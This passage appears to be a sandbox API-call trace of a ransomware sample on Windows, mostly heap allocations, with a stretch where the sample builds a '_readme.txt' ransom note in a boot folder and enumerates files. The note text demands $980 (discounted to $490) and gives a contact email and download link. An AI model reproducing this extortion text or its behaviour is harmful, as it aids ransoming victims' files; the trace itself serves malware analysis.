RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.290] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0124.290] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.290] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.290] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.290] PathFindFileNameW (pszPath="") returned="" [0124.290] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.291] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.291] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.291] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.291] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.291] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.291] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.291] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0124.291] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0124.291] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.291] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.291] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.291] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.291] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.291] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.291] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.292] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.292] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.292] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.292] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.292] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.292] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.292] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.293] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.293] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.294] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.294] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, 